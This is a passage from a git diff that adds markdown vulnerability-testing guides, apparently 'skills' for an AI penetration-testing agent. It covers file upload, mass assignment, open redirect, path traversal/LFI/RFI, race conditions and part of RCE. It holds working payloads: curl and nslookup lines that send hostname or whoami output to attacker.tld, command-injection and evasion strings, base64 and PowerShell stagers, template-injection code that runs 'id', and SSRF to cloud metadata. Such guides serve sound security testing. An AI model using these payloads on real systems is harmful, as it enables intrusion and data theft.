PDFs) to widen race windows + +### Metadata Abuse + +- Oversized EXIF/XMP/IPTC blocks to trigger parser flaws +- Payloads in document properties of Office/PDF rendered by previewers + +### Header Manipulation + +- Force inline rendering with Content-Type + inline Content-Disposition +- Cache poisoning via CDN with keys missing Vary on Content-Type/Disposition + +## Bypass Techniques + +### Validation Gaps + +- Client-side only checks; relying on JS/MIME provided by browser +- Trusting multipart boundary part headers blindly +- Extension allowlists without server-side content inspection + +### Evasion Tricks + +- Double extensions, mixed case, hidden dotfiles, extra dots (file..png), long paths with allowed suffix +- Multipart name vs filename vs path discrepancies; duplicate parameters and late parameter precedence + +## Special Contexts + +### Rich Text Editors + +- RTEs allow image/attachment uploads and embed links; verify sanitization and serving headers + +### Mobile Clients + +- Mobile SDKs may send nonstandard MIME or metadata; servers sometimes trust client-side transformations + +### Serverless and CDN + +- Direct-to-bucket uploads with Lambda/Workers post-processing; verify security decisions are not delegated to frontends +- CDN caching of uploaded content; ensure correct cache keys and headers + +## Testing Methodology + +1. **Map the pipeline** - Client → ingress → storage → processors → serving. Note where validation and auth occur +2. **Identify allowed types** - Size limits, filename rules, storage keys, and who serves the content +3. **Collect baselines** - Capture resulting URLs and headers for legitimate uploads +4. **Exercise bypass families** - Extension games, MIME/content-type, magic bytes, polyglots, metadata payloads, archive structure +5. **Validate execution** - Can uploaded content execute on server or client? + +## Validation + +1. Demonstrate execution or rendering of active content: web shell reachable, or SVG/HTML executing JS when viewed +2. Show filter bypass: upload accepted despite restrictions with evidence on retrieval +3. Prove header weaknesses: inline rendering without nosniff or missing attachment +4. Show race or pipeline gap: access before AV/CDR; extraction outside intended directory +5. Provide reproducible steps: request/response for upload and subsequent access + +## False Positives + +- Upload stored but never served back; or always served as attachment with strict nosniff +- Converters run in locked-down sandboxes with no external IO and no script engines +- AV/CDR blocks the payload and quarantines; access before scan is impossible by design + +## Impact + +- Remote code execution on application stack or media toolchain host +- Persistent cross-site scripting and session/token exfiltration via served uploads +- Malware distribution via public storage/CDN; brand/reputation damage +- Data loss or corruption via overwrite/zip slip; service degradation via zip bombs + +## Pro Tips + +1. Keep PoCs minimal: tiny SVG/HTML for XSS, a single-line PHP/ASP where relevant +2. Always capture download response headers and final MIME; that decides browser behavior +3. Prefer transforming risky formats to safe renderings (SVG→PNG) rather than complex sanitization +4. In presigned flows, constrain all headers and object keys server-side +5. For archives, extract in a chroot/jail with explicit allowlist; drop symlinks and reject traversal +6. Test finalize/complete steps in resumable flows; many validations only run on init +7. Verify background processors with EICAR and tiny polyglots +8. When you cannot get execution, aim for stored XSS or header-driven script execution +9. Validate that CDNs honor attachment/nosniff +10. Document full pipeline behavior per asset type + +## Summary + +Secure uploads are a pipeline property. Enforce strict type, size, and header controls; transform or strip active content; never execute or inline-render untrusted uploads; and keep storage private with controlled, signed access. diff --git a/imported-skills/strix/skills/vulnerabilities/mass_assignment.md b/imported-skills/strix/skills/vulnerabilities/mass_assignment.md new file mode 100644 index 0000000000000000000000000000000000000000..01351e4b2c80ae87ef458d7855b4b213599fb2a0 --- /dev/null +++ b/imported-skills/strix/skills/vulnerabilities/mass_assignment.md @@ -0,0 +1,153 @@ +--- +name: mass-assignment +description: Mass assignment testing for unauthorized field binding and privilege escalation via API parameters +--- + +# Mass Assignment + +Mass assignment binds client-supplied fields directly into models/DTOs without field-level allowlists. It commonly leads to privilege escalation, ownership changes, and unauthorized state transitions in modern APIs and GraphQL. + +## Attack Surface + +- REST/JSON, GraphQL inputs, form-encoded and multipart bodies +- Model binding in controllers/resolvers; ORM create/update helpers +- Writable nested relations, sparse/patch updates, bulk endpoints + +## Reconnaissance + +### Surface Map + +- Controllers with automatic binding (e.g., request.json → model) +- GraphQL input types mirroring models; admin/staff tools exposed via API +- OpenAPI/GraphQL schemas: uncover hidden fields or enums +- Client bundles and mobile apps: inspect forms and mutation payloads for field names + +### Parameter Strategies + +- Flat fields: `isAdmin`, `role`, `roles[]`, `permissions[]`, `status`, `plan`, `tier`, `premium`, `verified`, `emailVerified` +- Ownership/tenancy: `userId`, `ownerId`, `accountId`, `organizationId`, `tenantId`, `workspaceId` +- Limits/quotas: `usageLimit`, `seatCount`, `maxProjects`, `creditBalance` +- Feature flags/gates: `features`, `flags`, `betaAccess`, `allowImpersonation` +- Billing: `price`, `amount`, `currency`, `prorate`, `nextInvoice`, `trialEnd` + +### Shape Variants + +- Alternate shapes: arrays vs scalars; nested JSON; objects under unexpected keys +- Dot/bracket paths: `profile.role`, `profile[role]`, `settings[roles][]` +- Duplicate keys and precedence: `{"role":"user","role":"admin"}` +- Sparse/patch formats: JSON Patch/JSON Merge Patch; try adding forbidden paths + +### Encodings and Channels + +- Content-types: `application/json`, `application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain` +- GraphQL: add suspicious fields to input objects; overfetch response to detect changes +- Batch/bulk: arrays of objects; verify per-item allowlists not skipped + +## Key Vulnerabilities + +### Privilege Escalation + +- Set role/isAdmin/permissions during signup/profile update +- Toggle admin/staff flags where exposed + +### Ownership Takeover + +- Change ownerId/accountId/tenantId to seize resources +- Move objects across users/tenants + +### Feature Gate Bypass + +- Enable premium/beta/feature flags via flags/features fields +- Raise limits/seatCount/quotas + +### Billing and Entitlements + +- Modify plan/price/prorate/trialEnd or creditBalance +- Bypass server recomputation + +### Nested and Relation Writes + +- Writable nested serializers or ORM relations allow creating or linking related objects beyond caller's scope + +## Advanced Techniques + +### GraphQL Specific + +- Field-level authz missing on input types: attempt forbidden fields in mutation inputs +- Combine with aliasing/batching to compare effects +- Use fragments to overfetch changed fields immediately after mutation + +### ORM Framework Edges + +- **Rails**: strong parameters misconfig or deep nesting via `accepts_nested_attributes_for` +- **Laravel**: $fillable/$guarded misuses; `guarded=[]` opens all; casts mutating hidden fields +- **Django REST Framework**: writable nested serializer, read_only/extra_kwargs gaps, partial updates +- **Mongoose/Prisma**: schema paths not filtered; `select:false` doesn't prevent writes; upsert defaults + +### Parser and Validator Gaps + +- Validators run post-bind and do not cover extra fields +- Unknown fields silently dropped in response but persisted underneath +- Inconsistent allowlists between mobile/web/gateway; alt encodings bypass validation pipeline + +## Bypass Techniques + +### Content-Type Switching + +- Switch JSON ↔ form-encoded ↔ multipart ↔ text/plain; some code paths only validate one + +### Key Path Variants + +- Dot/bracket/object re-shaping to reach nested fields through different binders + +### Batch Paths + +- Per-item checks skipped in bulk operations +- Insert a single malicious object within a large batch + +### Race and Reorder + +- Race two updates: first sets forbidden field, second normalizes +- Final state may retain forbidden change + +## Testing Methodology + +1. **Identify endpoints** - Create/update endpoints and GraphQL mutations +2. **Capture responses** - Observe returned fields to build candidate list +3. **Build sensitive-field dictionary** - Per resource: role, isAdmin, ownerId, status, plan, limits, flags +4. **Inject candidates** - Alongside legitimate updates across transports and encodings +5. **Compare state** - Before/after diffs across roles +6. **Test variations** - Nested objects, arrays, alternative shapes, duplicate keys, batch operations + +## Validation + +1. Show a minimal request where adding a sensitive field changes persisted state for a non-privileged caller +2. Provide before/after evidence (response body, subsequent GET, or GraphQL query) proving the forbidden attribute value +3. Demonstrate consistency across at least two encodings or channels +4. For nested/bulk, show that protected fields are written within child objects or array elements +5. Quantify impact (e.g., role flip, cross-tenant move, quota increase) and reproducibility + +## False Positives + +- Server recomputes derived fields (plan/price/role) ignoring client input +- Fields marked read-only and enforced consistently across encodings +- Only UI-side changes with no persisted effect + +## Impact + +- Privilege escalation and admin feature access +- Cross-tenant or cross-account resource takeover +- Financial/billing manipulation and quota abuse +- Policy/approval bypass by toggling verification or status flags + +## Pro Tips + +1. Build a sensitive-field dictionary per resource and fuzz systematically +2. Always try alternate shapes and encodings; many validators are shape/CT-specific +3. For GraphQL, diff the resource immediately after mutation; effects are often visible even if the mutation returns filtered fields +4. Inspect SDKs/mobile apps for hidden field names and nested write examples +5. Prefer minimal PoCs that prove durable state changes; avoid UI-only effects + +## Summary + +Mass assignment is eliminated by explicit mapping and per-field authorization. Treat every client-supplied attribute—especially nested or batch inputs—as untrusted until validated against an allowlist and caller scope. diff --git a/imported-skills/strix/skills/vulnerabilities/open_redirect.md b/imported-skills/strix/skills/vulnerabilities/open_redirect.md new file mode 100644 index 0000000000000000000000000000000000000000..b6a9a43fff31bb4a138b77c526ea6839e943ad8f --- /dev/null +++ b/imported-skills/strix/skills/vulnerabilities/open_redirect.md @@ -0,0 +1,165 @@ +--- +name: open-redirect +description: Open redirect testing for phishing pivots, OAuth token theft, and allowlist bypass +--- + +# Open Redirect + +Open redirects enable phishing, OAuth/OIDC code and token theft, and allowlist bypass in server-side fetchers that follow redirects. Treat every redirect target as untrusted: canonicalize and enforce exact allowlists per scheme, host, and path. + +## Attack Surface + +**Server-Driven Redirects** +- HTTP 3xx Location + +**Client-Driven Redirects** +- `window.location`, meta refresh, SPA routers + +**OAuth/OIDC/SAML Flows** +- `redirect_uri`, `post_logout_redirect_uri`, `RelayState`, `returnTo`/`continue`/`next` + +**Multi-Hop Chains** +- Only first hop validated + +## High-Value Targets + +- Login/logout, password reset, SSO/OAuth flows +- Payment gateways, email links, invite/verification +- Unsubscribe, language/locale switches +- `/out` or `/r` redirectors + +## Reconnaissance + +### Injection Points + +- Params: `redirect`, `url`, `next`, `return_to`, `returnUrl`, `continue`, `goto`, `target`, `callback`, `out`, `dest`, `back`, `to`, `r`, `u` +- OAuth/OIDC/SAML: `redirect_uri`, `post_logout_redirect_uri`, `RelayState`, `state` +- SPA: `router.push`/`replace`, `location.assign`/`href`, meta refresh, `window.open` +- Headers: `Host`, `X-Forwarded-Host`/`Proto`, `Referer`; server-side Location echo + +### Parser Differentials + +**Userinfo** +- `https://trusted.com@evil.com` → validators parse host as trusted.com, browser navigates to evil.com +- Variants: `trusted.com%40evil.com`, `a%40evil.com%40trusted.com` + +**Backslash and Slashes** +- `https://trusted.com\evil.com`, `https://trusted.com\@evil.com`, `///evil.com`, `/\evil.com` + +**Whitespace and Control** +- `http%09://evil.com`, `http%0A://evil.com`, `trusted.com%09evil.com` + +**Fragment and Query** +- `trusted.com#@evil.com`, `trusted.com?//@evil.com`, `?next=//evil.com#@trusted.com` + +**Unicode and IDNA** +- Punycode/IDN: `truѕted.com` (Cyrillic), `trusted.com。evil.com` (full-width dot), trailing dot + +### Encoding Bypasses + +- Double encoding: `%2f%2fevil.com`, `%252f%252fevil.com` +- Mixed case and scheme smuggling: `hTtPs://evil.com`, `http:evil.com` +- IP variants: decimal 2130706433, octal 0177.0.0.1, hex 0x7f.1, IPv6 `[::ffff:127.0.0.1]` +- User-controlled path bases: `/out?url=/\evil.com` + +## Key Vulnerabilities + +### Allowlist Evasion + +**Common Mistakes** +- Substring/regex contains checks: allows `trusted.com.evil.com` +- Wildcards: `*.trusted.com` also matches `attacker.trusted.com.evil.net` +- Missing scheme pinning: `data:`, `javascript:`, `file:`, `gopher:` accepted +- Case/IDN drift between validator and browser + +**Robust Validation** +- Canonicalize with a single modern URL parser (WHATWG URL) +- Compare exact scheme, hostname (post-IDNA), and an explicit allowlist with optional exact path prefixes +- Require absolute HTTPS; reject protocol-relative `//` and unknown schemes + +### OAuth/OIDC/SAML + +**Redirect URI Abuse** +- Using an open redirect on a trusted domain for redirect_uri enables code interception +- Weak prefix/suffix checks: `https://trusted.com` → `https://trusted.com.evil.com` +- Path traversal/canonicalization: `/oauth/../../@evil.com` +- `post_logout_redirect_uri` often less strictly validated + +### Client-Side Vectors + +**JavaScript Redirects** +- `location.href`/`assign`/`replace` using user input +- Meta refresh `content=0;url=USER_INPUT` +- SPA routers: `router.push(searchParams.get('next'))` + +### Reverse Proxies and Gateways + +- Host/X-Forwarded-* may change absolute URL construction +- CDNs that follow redirects for link checking can leak tokens when chained + +### SSRF Chaining + +- Server-side fetchers (web previewers, link unfurlers) follow 3xx +- Combine with an open redirect on an allowlisted domain to pivot to internal targets (169.254.169.254, localhost) + +## Exploitation Scenarios + +### OAuth Code Interception + +1. Set redirect_uri to `https://trusted.example/out?url=https://attacker.tld/cb` +2. IdP sends code to trusted.example which redirects to attacker.tld +3. Exchange code for tokens; demonstrate account access + +### Phishing Flow + +1. Send link on trusted domain: `/login?next=https://attacker.tld/fake` +2. Victim authenticates; browser navigates to attacker page +3. Capture credentials/tokens via cloned UI + +### Internal Evasion + +1. Server-side link unfurler fetches `https://trusted.example/out?u=http://169.254.169.254/latest/meta-data` +2. Redirect follows to metadata; confirm via timing/headers + +## Testing Methodology + +1. **Inventory surfaces** - Login/logout, password reset, SSO/OAuth flows, payment gateways, email links +2. **Build test matrix** - Scheme × host × path variants and encoding/unicode forms +3. **Compare behaviors** - Server-side validation vs browser navigation results +4. **Multi-hop testing** - Trusted-domain → redirector → external +5. **Prove impact** - Credential phishing, OAuth code interception, internal egress + +## Validation + +1. Produce a minimal URL that navigates to an external domain via the vulnerable surface; include the full address bar capture +2. Show bypass of the stated validation (regex/allowlist) using canonicalization variants +3. Test multi-hop: prove only first hop is validated and second hop escapes constraints +4. For OAuth/SAML, demonstrate code/RelayState delivery to an attacker-controlled endpoint + +## False Positives + +- Redirects constrained to relative same-origin paths with robust normalization +- Exact pre-registered OAuth redirect_uri with strict verifier +- Validators using a single canonical parser and comparing post-IDNA host and scheme +- User prompts that show the exact final destination before navigating + +## Impact + +- Credential and token theft via phishing and OAuth/OIDC interception +- Internal data exposure when server fetchers follow redirects +- Policy bypass where allowlists are enforced only on the first hop +- Cross-application trust erosion and brand abuse + +## Pro Tips + +1. Always compare server-side canonicalization to real browser navigation; differences reveal bypasses +2. Try userinfo, protocol-relative, Unicode/IDN, and IP numeric variants early +3. In OAuth, prioritize `post_logout_redirect_uri` and less-discussed flows; they're often looser +4. Exercise multi-hop across distinct subdomains and paths +5. For SSRF chaining, target services known to follow redirects +6. Favor allowlists of exact origins plus optional path prefixes +7. Keep a curated suite of redirect payloads per runtime (Java, Node, Python, Go) + +## Summary + +Redirection is safe only when the final destination is constrained after canonicalization. Enforce exact origins, verify per hop, and treat client-provided destinations as untrusted across every stack. diff --git a/imported-skills/strix/skills/vulnerabilities/path_traversal_lfi_rfi.md b/imported-skills/strix/skills/vulnerabilities/path_traversal_lfi_rfi.md new file mode 100644 index 0000000000000000000000000000000000000000..d6e44110ed864011e2764b0fcec3326102aa96a4 --- /dev/null +++ b/imported-skills/strix/skills/vulnerabilities/path_traversal_lfi_rfi.md @@ -0,0 +1,190 @@ +--- +name: path-traversal-lfi-rfi +description: Path traversal and file inclusion testing for local/remote file access and code execution +--- + +# Path Traversal / LFI / RFI + +Improper file path handling and dynamic inclusion enable sensitive file disclosure, config/source leakage, SSRF pivots, and code execution. Treat all user-influenced paths, names, and schemes as untrusted; normalize and bind them to an allowlist or eliminate user control entirely. + +## Attack Surface + +**Path Traversal** +- Read files outside intended roots via `../`, encoding, normalization gaps + +**Local File Inclusion (LFI)** +- Include server-side files into interpreters/templates + +**Remote File Inclusion (RFI)** +- Include remote resources (HTTP/FTP/wrappers) for code execution + +**Archive Extraction** +- Zip Slip: write outside target directory upon unzip/untar + +**Normalization Mismatches** +- Server/proxy differences (nginx alias/root, upstream decoders) +- OS-specific paths: Windows separators, device names, UNC, NT paths, alternate data streams + +## High-Value Targets + +**Unix** +- `/etc/passwd`, `/etc/hosts`, application `.env`/`config.yaml` +- SSH keys, cloud creds, service configs/logs + +**Windows** +- `C:\Windows\win.ini`, IIS/web.config, programdata configs, application logs + +**Application** +- Source code templates and server-side includes +- Secrets in env dumps, framework caches + +## Reconnaissance + +### Surface Map + +- HTTP params: `file`, `path`, `template`, `include`, `page`, `view`, `download`, `export`, `report`, `log`, `dir`, `theme`, `lang` +- Upload and conversion pipelines: image/PDF renderers, thumbnailers, office converters +- Archive extract endpoints and background jobs; imports with ZIP/TAR/GZ/7z +- Server-side template rendering (PHP/Smarty/Twig/Blade), email templates, CMS themes/plugins +- Reverse proxies and static file servers (nginx, CDN) in front of app handlers + +### Capability Probes + +- Path traversal baseline: `../../etc/hosts` and `C:\Windows\win.ini` +- Encodings: `%2e%2e%2f`, `%252e%252e%252f`, `..%2f`, `..%5c`, mixed UTF-8 (`%c0%2e`), Unicode dots and slashes +- Normalization tests: `..../`, `..\\`, `././`, trailing dot/double dot segments; repeated decoding +- Absolute path acceptance: `/etc/passwd`, `C:\Windows\System32\drivers\etc\hosts` +- Server mismatch: `/static/..;/../etc/passwd` ("..;"), encoded slashes (`%2F`), double-decoding via upstream + +## Detection Channels + +### Direct + +- Response body discloses file content (text, binary, base64) +- Error pages echo real paths + +### Error-Based + +- Exception messages expose canonicalized paths or `include()` warnings with real filesystem locations + +### OAST + +- RFI/LFI with wrappers that trigger outbound fetches (HTTP/DNS) to confirm inclusion/execution + +### Side Effects + +- Archive extraction writes files unexpectedly outside target +- Verify with directory listings or follow-up reads + +## Key Vulnerabilities + +### Path Traversal Bypasses + +**Encodings** +- Single/double URL-encoding, mixed case, overlong UTF-8, UTF-16, path normalization oddities + +**Mixed Separators** +- `/` and `\\` on Windows; `//` and `\\\\` collapse differences across frameworks + +**Dot Tricks** +- `....//` (double dot folding), trailing dots (Windows), trailing slashes, appended valid extension + +**Absolute Path Injection** +- Bypass joins by supplying a rooted path + +**Alias/Root Mismatch** +- nginx alias without trailing slash with nested location allows `../` to escape +- Try `/static/../etc/passwd` and ";" variants (`..;`) + +**Upstream vs Backend Decoding** +- Proxies/CDNs decoding `%2f` differently; test double-decoding and encoded dots + +### LFI Wrappers and Techniques + +**PHP Wrappers** +- `php://filter/convert.base64-encode/resource=index.php` (read source) +- `zip://archive.zip#file.txt` +- `data://text/plain;base64` +- `expect://` (if enabled) + +**Log/Session Poisoning** +- Inject PHP/templating payloads into access/error logs or session files then include them + +**Upload Temp Names** +- Include temporary upload files before relocation; race with scanners + +**Proc and Caches** +- `/proc/self/environ` and framework-specific caches for readable secrets + +**Legacy Tricks** +- Null-byte (`%00`) truncation in older stacks; path length truncation + +### Template Engines + +- PHP include/require; Smarty/Twig/Blade with dynamic template names +- Java/JSP/FreeMarker/Velocity; Node.js ejs/handlebars/pug engines +- Seek dynamic template resolution from user input (theme/lang/template) + +### RFI Conditions + +**Requirements** +- Remote includes (`allow_url_include`/`allow_url_fopen` in PHP) +- Custom fetchers that eval/execute retrieved content +- SSRF-to-exec bridges + +**Protocol Handlers** +- http, https, ftp; language-specific stream handlers + +**Exploitation** +- Host a minimal payload that proves code execution +- Prefer OAST beacons or deterministic output over heavy shells +- Chain with upload or log poisoning when remote includes are disabled + +### Archive Extraction (Zip Slip) + +- Files within archives containing `../` or absolute paths escape target extract directory +- Test multiple formats: zip/tar/tgz/7z +- Verify symlink handling and path canonicalization prior to write +- Impact: overwrite config/templates or drop webshells into served directories + +## Testing Methodology + +1. **Inventory file operations** - Downloads, previews, templates, logs, exports/imports, report engines, uploads, archive extractors +2. **Identify input joins** - Path joins (base + user), include/require/template loads, resource fetchers, archive extract destinations +3. **Probe normalization** - Separators, encodings, double-decodes, case, trailing dots/slashes +4. **Compare behaviors** - Web server vs application behavior +5. **Escalate** - From disclosure (read) to influence (write/extract/include), then to execution (wrapper/engine chains) + +## Validation + +1. Show a minimal traversal read proving out-of-root access (e.g., `/etc/hosts`) with a same-endpoint in-root control +2. For LFI, demonstrate inclusion of a benign local file or harmless wrapper output (`php://filter` base64 of index.php) +3. For RFI, prove remote fetch by OAST or controlled output; avoid destructive payloads +4. For Zip Slip, create an archive with `../` entries and show write outside target (e.g., marker file read back) +5. Provide before/after file paths, exact requests, and content hashes/lengths for reproducibility + +## False Positives + +- In-app virtual paths that do not map to filesystem; content comes from safe stores (DB/object storage) +- Canonicalized paths constrained to an allowlist/root after normalization +- Wrappers disabled and includes using constant templates only +- Archive extractors that sanitize paths and enforce destination directories + +## Impact + +- Sensitive configuration/source disclosure → credential and key compromise +- Code execution via inclusion of attacker-controlled content or overwritten templates +- Persistence via dropped files in served directories; lateral movement via revealed secrets +- Supply-chain impact when report/template engines execute attacker-influenced files + +## Pro Tips + +1. Compare content-length/ETag when content is masked; read small canonical files (hosts) to avoid noise +2. Test proxy/CDN and app separately; decoding/normalization order differs, especially for `%2f` and `%2e` encodings +3. For LFI, prefer `php://filter` base64 probes over destructive payloads; enumerate readable logs and sessions +4. Validate extraction code with synthetic archives; include symlinks and deep `../` chains +5. Use minimal PoCs and hard evidence (hashes, paths). Avoid noisy DoS against filesystems + +## Summary + +Eliminate user-controlled paths where possible. Otherwise, resolve to canonical paths and enforce allowlists, forbid remote schemes, and lock down interpreters and extractors. Normalize consistently at the boundary closest to IO. diff --git a/imported-skills/strix/skills/vulnerabilities/race_conditions.md b/imported-skills/strix/skills/vulnerabilities/race_conditions.md new file mode 100644 index 0000000000000000000000000000000000000000..5321a5ab3e2a752a2ac5c9d13a37b5427208fdc2 --- /dev/null +++ b/imported-skills/strix/skills/vulnerabilities/race_conditions.md @@ -0,0 +1,181 @@ +--- +name: race-conditions +description: Race condition testing for TOCTOU bugs, double-spend, and concurrent state manipulation +--- + +# Race Conditions + +Concurrency bugs enable duplicate state changes, quota bypass, financial abuse, and privilege errors. Treat every read–modify–write and multi-step workflow as adversarially concurrent. + +## Attack Surface + +**Read-Modify-Write** +- Sequences without atomicity or proper locking + +**Multi-Step Operations** +- Check → reserve → commit with gaps between phases + +**Cross-Service Workflows** +- Sagas, async jobs with eventual consistency + +**Rate Limits and Quotas** +- Controls implemented at the edge only + +## High-Value Targets + +- Payments: auth/capture/refund/void; credits/loyalty points; gift cards +- Coupons/discounts: single-use codes, stacking checks, per-user limits +- Quotas/limits: API usage, inventory reservations, seat counts, vote limits +- Auth flows: password reset/OTP consumption, session minting, device trust +- File/object storage: multi-part finalize, version writes, share-link generation +- Background jobs: export/import create/finalize endpoints; job cancellation/approve +- GraphQL mutations and batch operations; WebSocket actions + +## Reconnaissance + +### Identify Race Windows + +- Look for explicit sequences: "check balance then deduct", "verify coupon then apply", "check inventory then purchase" +- Watch for optimistic concurrency markers: ETag/If-Match, version fields, updatedAt checks +- Examine idempotency-key support: scope (path vs principal), TTL, and persistence (cache vs DB) +- Map cross-service steps: when is state written vs published, what retries/compensations exist + +### Signals + +- Sequential request fails but parallel succeeds +- Duplicate rows, negative counters, over-issuance, or inconsistent aggregates +- Distinct response shapes/timings for simultaneous vs sequential requests +- Audit logs out of order; multiple 2xx for the same intent; missing or duplicate correlation IDs + +## Key Vulnerabilities + +### Request Synchronization + +- HTTP/2 multiplexing for tight concurrency; send many requests on warmed connections +- Last-byte synchronization: hold requests open and release final byte simultaneously +- Connection warming: pre-establish sessions, cookies, and TLS to remove jitter + +### Idempotency and Dedup Bypass + +- Reuse the same idempotency key across different principals/paths if scope is inadequate +- Hit the endpoint before the idempotency store is written (cache-before-commit windows) +- App-level dedup drops only the response while side effects (emails/credits) still occur + +### Atomicity Gaps + +- Lost update: read-modify-write increments without atomic DB statements +- Partial two-phase workflows: success committed before validation completes +- Unique checks done outside a unique index/upsert: create duplicates under load + +### Cross-Service Races + +- Saga/compensation timing gaps: execute compensation without preventing the original success path +- Eventual consistency windows: act in Service B before Service A's write is visible +- Retry storms: duplicate side effects due to at-least-once delivery without idempotent consumers + +### Rate Limits and Quotas + +- Per-IP or per-connection enforcement: bypass with multiple IPs/sessions +- Counter updates not atomic or sharded inconsistently; send bursts before counters propagate + +### Optimistic Concurrency Evasion + +- Omit If-Match/ETag where optional; supply stale versions if server ignores them +- Version fields accepted but not validated across all code paths (e.g., GraphQL vs REST) + +### Database Isolation + +- Exploit READ COMMITTED/REPEATABLE READ anomalies: phantoms, non-serializable sequences +- Upsert races: use unique indexes with proper ON CONFLICT/UPSERT or exploit naive existence checks +- Lock granularity issues: row vs table; application locks held only in-process + +### Distributed Locks + +- Redis locks without NX/EX or fencing tokens allow multiple winners +- Locks stored in memory on a single node; bypass by hitting other nodes/regions + +## Bypass Techniques + +- Distribute across IPs, sessions, and user accounts to evade per-entity throttles +- Switch methods/content-types/endpoints that trigger the same state change via different code paths +- Intentionally trigger timeouts to provoke retries that cause duplicate side effects +- Degrade the target (large payloads, slow endpoints) to widen race windows + +## Special Contexts + +### GraphQL + +- Parallel mutations and batched operations may bypass per-mutation guards +- Ensure resolver-level idempotency and atomicity +- Persisted queries and aliases can hide multiple state changes in one request + +### WebSocket + +- Per-message authorization and idempotency must hold +- Concurrent emits can create duplicates if only the handshake is checked + +### Files and Storage + +- Parallel finalize/complete on multi-part uploads can create duplicate or corrupted objects +- Re-use pre-signed URLs concurrently + +### Auth Flows + +- Concurrent consumption of one-time tokens (reset codes, magic links) to mint multiple sessions +- Verify consume is atomic + +## Chaining Attacks + +- Race + Business logic: violate invariants (double-refund, limit slicing) +- Race + IDOR: modify or read others' resources before ownership checks complete +- Race + CSRF: trigger parallel actions from a victim to amplify effects +- Race + Caching: stale caches re-serve privileged states after concurrent changes + +## Testing Methodology + +1. **Model invariants** - Conservation of value, uniqueness, maximums for each workflow +2. **Identify reads/writes** - Where they occur (service, DB, cache) +3. **Baseline** - Single requests to establish expected behavior +4. **Concurrent requests** - Issue parallel requests with identical inputs; observe deltas +5. **Scale and synchronize** - Ramp up parallelism, use HTTP/2, align timing (last-byte sync) +6. **Cross-channel** - Test across web, API, GraphQL, WebSocket +7. **Confirm durability** - Verify state changes persist and are reproducible + +## Validation + +1. Single request denied; N concurrent requests succeed where only 1 should +2. Durable state change proven (ledger entries, inventory counts, role/flag changes) +3. Reproducible under controlled synchronization (HTTP/2, last-byte sync) across multiple runs +4. Evidence across channels (e.g., REST and GraphQL) if applicable +5. Include before/after state and exact request set used + +## False Positives + +- Truly idempotent operations with enforced ETag/version checks or unique constraints +- Serializable transactions or correct advisory locks/queues +- Visual-only glitches without durable state change +- Rate limits that reject excess with atomic counters + +## Impact + +- Financial loss (double spend, over-issuance of credits/refunds) +- Policy/limit bypass (quotas, single-use tokens, seat counts) +- Data integrity corruption and audit trail inconsistencies +- Privilege or role errors due to concurrent updates + +## Pro Tips + +1. Favor HTTP/2 with warmed connections; add last-byte sync for precision +2. Start small (N=5–20), then scale; too much noise can mask the window +3. Target read–modify–write code paths and endpoints with idempotency keys +4. Compare REST vs GraphQL vs WebSocket; protections often differ +5. Look for cross-service gaps (queues, jobs, webhooks) and retry semantics +6. Check unique constraints and upsert usage; avoid relying on pre-insert checks +7. Use correlation IDs and logs to prove concurrent interleaving +8. Widen windows by adding server load or slow backend dependencies +9. Validate on production-like latency; some races only appear under real load +10. Document minimal, repeatable request sets that demonstrate durable impact + +## Summary + +Concurrency safety is a property of every path that mutates state. If any path lacks atomicity, proper isolation, or idempotency, parallel requests will eventually break invariants. diff --git a/imported-skills/strix/skills/vulnerabilities/rce.md b/imported-skills/strix/skills/vulnerabilities/rce.md new file mode 100644 index 0000000000000000000000000000000000000000..805ee1bee354908e975d496dddd6732bb8428042 --- /dev/null +++ b/imported-skills/strix/skills/vulnerabilities/rce.md @@ -0,0 +1,238 @@ +--- +name: rce +description: RCE testing covering command injection, deserialization, template injection, and code evaluation +--- + +# RCE + +Remote code execution leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed. + +## Attack Surface + +**Command Execution** +- OS command execution via wrappers (shells, system utilities, CLIs) + +**Dynamic Evaluation** +- Template engines, expression languages, eval/vm + +**Deserialization** +- Insecure deserialization and gadget chains across languages + +**Media Pipelines** +- ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg + +**SSRF Chains** +- Internal services exposing execution primitives (FastCGI, Redis) + +**Container Escalation** +- App RCE to node/cluster compromise via Docker/Kubernetes + +## Detection Channels + +### Time-Based + +**Unix** +- `;sleep 1`, `` `sleep 1` ``, `|| sleep 1` +- Gate delays with short subcommands to reduce noise + +**Windows** +- CMD: `& timeout /t 2 &`, `ping -n 2 127.0.0.1` +- PowerShell: `Start-Sleep -s 2` + +### OAST + +**DNS** +```bash +nslookup $(whoami).x.attacker.tld +``` + +**HTTP** +```bash +curl https://attacker.tld/$(hostname) +``` + +### Output-Based + +**Direct** +```bash +;id;uname -a;whoami +``` + +**Encoded** +```bash +;(id;hostname)|base64 +``` + +## Key Vulnerabilities + +### Command Injection + +**Delimiters and Operators** +- Unix: `; | || & && `cmd` $(cmd) $() ${IFS}` newline/tab +- Windows: `& | || ^` + +**Argument Injection** +- Inject flags/filenames into CLI arguments (e.g., `--output=/tmp/x`, `--config=`) +- Break out of quoted segments by alternating quotes and escapes +- Environment expansion: `$PATH`, `${HOME}`, command substitution +- Windows: `%TEMP%`, `!VAR!`, PowerShell `$(...)` + +**Path and Builtin Confusion** +- Force absolute paths (`/usr/bin/id`) vs relying on PATH +- Use builtins or alternative tools (`printf`, `getent`) when `id` is filtered +- Use `sh -c` or `cmd /c` wrappers to reach the shell + +**Evasion** +- Whitespace/IFS: `${IFS}`, `$'\t'`, `<` +- Token splitting: `w'h'o'a'm'i`, `w"h"o"a"m"i` +- Variable building: `a=i;b=d; $a$b` +- Base64 stagers: `echo payload | base64 -d | sh` +- PowerShell: `IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))` + +### Template Injection + +Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug + +**Minimal Probes** +``` +Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}} +Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}} +Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") } +EJS: <%= global.process.mainModule.require('child_process').execSync('id') %> +``` + +### Deserialization and EL + +**Java** +- Gadget chains via CommonsCollections/BeanUtils/Spring +- Tools: ysoserial +- JNDI/LDAP chains (Log4Shell-style) when lookups are reachable + 